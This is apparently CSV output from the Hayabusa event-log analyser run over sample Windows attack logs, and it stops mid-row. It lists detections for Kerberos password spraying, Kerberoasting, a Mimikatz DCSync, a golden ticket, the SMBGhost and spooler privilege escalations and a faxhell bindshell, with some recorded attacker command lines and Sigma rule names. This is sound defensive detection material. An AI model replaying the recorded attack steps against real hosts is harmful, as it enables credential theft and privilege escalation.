Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.414 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: admin : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.414 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: svc-02 : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.414 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: HD02 : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.414 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: svc-01 : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.415 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: bob : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.415 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: admin02 : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.434 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: normal : Service: krbtgt : IP Address: 172.16.66.1 : Status: 0x0 : PreAuthType: 2,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.437 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: normal : Service: krbtgt : IP Address: ::ffff:172.16.66.1 : Status: 0x0 : PreAuthType: 2,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-27 07:26:14.523 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/CVE-2020-0796_SMBV3Ghost_LocalPrivEsc_Sysmon_3_1_10.evtx +2020-07-27 07:26:14.523 +09:00,MSEDGEWIN10,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/CVE-2020-0796_SMBV3Ghost_LocalPrivEsc_Sysmon_3_1_10.evtx +2020-07-27 07:26:15.141 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/CVE-2020-0796_SMBV3Ghost_LocalPrivEsc_Sysmon_3_1_10.evtx +2020-08-02 20:21:46.062 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.068 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.078 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.083 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.088 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.094 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.100 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.110 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.117 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.153 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.166 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.181 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:21:46.181 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:33:06.521 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: : Service: : IP Address: ::ffff:10.23.23.9 : Status: 0x25,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:33:06.523 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: Svc-SQL-DB01 : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:33:06.523 +09:00,rootdc1.offsec.lan,4769,medium,Suspicious Kerberos RC4 Ticket Encryption,,rules/sigma/builtin/security/win_susp_rc4_kerberos.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:11.847 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: ROOTDC1$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::1 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:12.567 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: ROOTDC1$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::1 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:54.898 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:54.999 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: WEC01$ : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:55.142 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: ROOTDC2$ : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:55.483 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:55.484 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:55.625 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 21:02:34.103 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55731 : LogonID: 0x11b8c41e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:02:35.117 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55731 : LogonID: 0x11b8c703,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:02:37.166 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55733 : LogonID: 0x11b8c741,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:03:03.560 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: ROOTDC1$ : Workstation: - : IP Address: fe80::1cae:5aa4:9d8d:106a : Port: 58736 : LogonID: 0x11b8cd00,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:03:08.715 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: FS02$ : Workstation: - : IP Address: 10.23.42.18 : Port: 62274 : LogonID: 0x11b8d014,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:03:12.993 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55738 : LogonID: 0x11b8d057,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:02.850 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55748 : LogonID: 0x11b8dcc1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:09.689 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 54927 : LogonID: 0x11b9e9a8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:09.695 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 54931 : LogonID: 0x11b9e9c0,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:09.696 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 54933 : LogonID: 0x11b9e9d3,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:09.696 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 54932 : LogonID: 0x11b9e9e5,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:09.816 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55750 : LogonID: 0x11b9ea1f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:26:03.702 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: ROOTDC2$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:26:11.437 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: ROOTDC2$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:26:20.424 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:27:02.387 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:27:19.056 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: ROOTDC1$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::1 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:27:19.742 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: ROOTDC1$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::1 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:31:20.566 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:31:20.567 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:31:20.925 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: FS02$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:31:20.926 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: MSSQL01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-03 01:24:07.551 +09:00,MSEDGEWIN10,7,high,Fax Service DLL Search Order Hijack,,rules/sigma/image_load/sysmon_susp_fax_dll.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-03 01:24:07.558 +09:00,MSEDGEWIN10,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_NetSvc_SessionToken_Retrival_via_localSMB_Auth_5145.evtx +2020-08-03 01:24:26.809 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""c:\windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-03 01:24:28.640 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""c:\windows\system32\cmd.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-03 01:24:28.640 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-03 01:24:28.640 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-03 01:24:28.640 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-12 22:05:20.029 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\SYSTEM32\cmd.exe /c """"C:\Program Files\Npcap\CheckStatus.bat"""" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:05:20.378 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:05:20.378 +09:00,MSEDGEWIN10,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:05:36.555 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:05:38.260 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /c reg query ""HKLM\Software\WOW6432Node\Npcap"" /ve 2>nul | find ""REG_SZ"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\SYSTEM32\cmd.exe /c """"C:\Program Files\Npcap\CheckStatus.bat""""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:05:45.570 +09:00,MSEDGEWIN10,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:00.737 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\cmd.exe /c rmdir /s/q C:\ProgramData\Microsoft\Windows\WER\ReportQueue\a_b_c_d_e > nul 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: WerTrigger.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:01.637 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /c mkdir,C:\ProgramData\Microsoft\Windows\WER\ReportQueue\a_b_c_d_e : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: WerTrigger.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:02.552 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\cmd.exe /c copy Report.wer C:\ProgramData\Microsoft\Windows\WER\ReportQueue\a_b_c_d_e > nul 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: 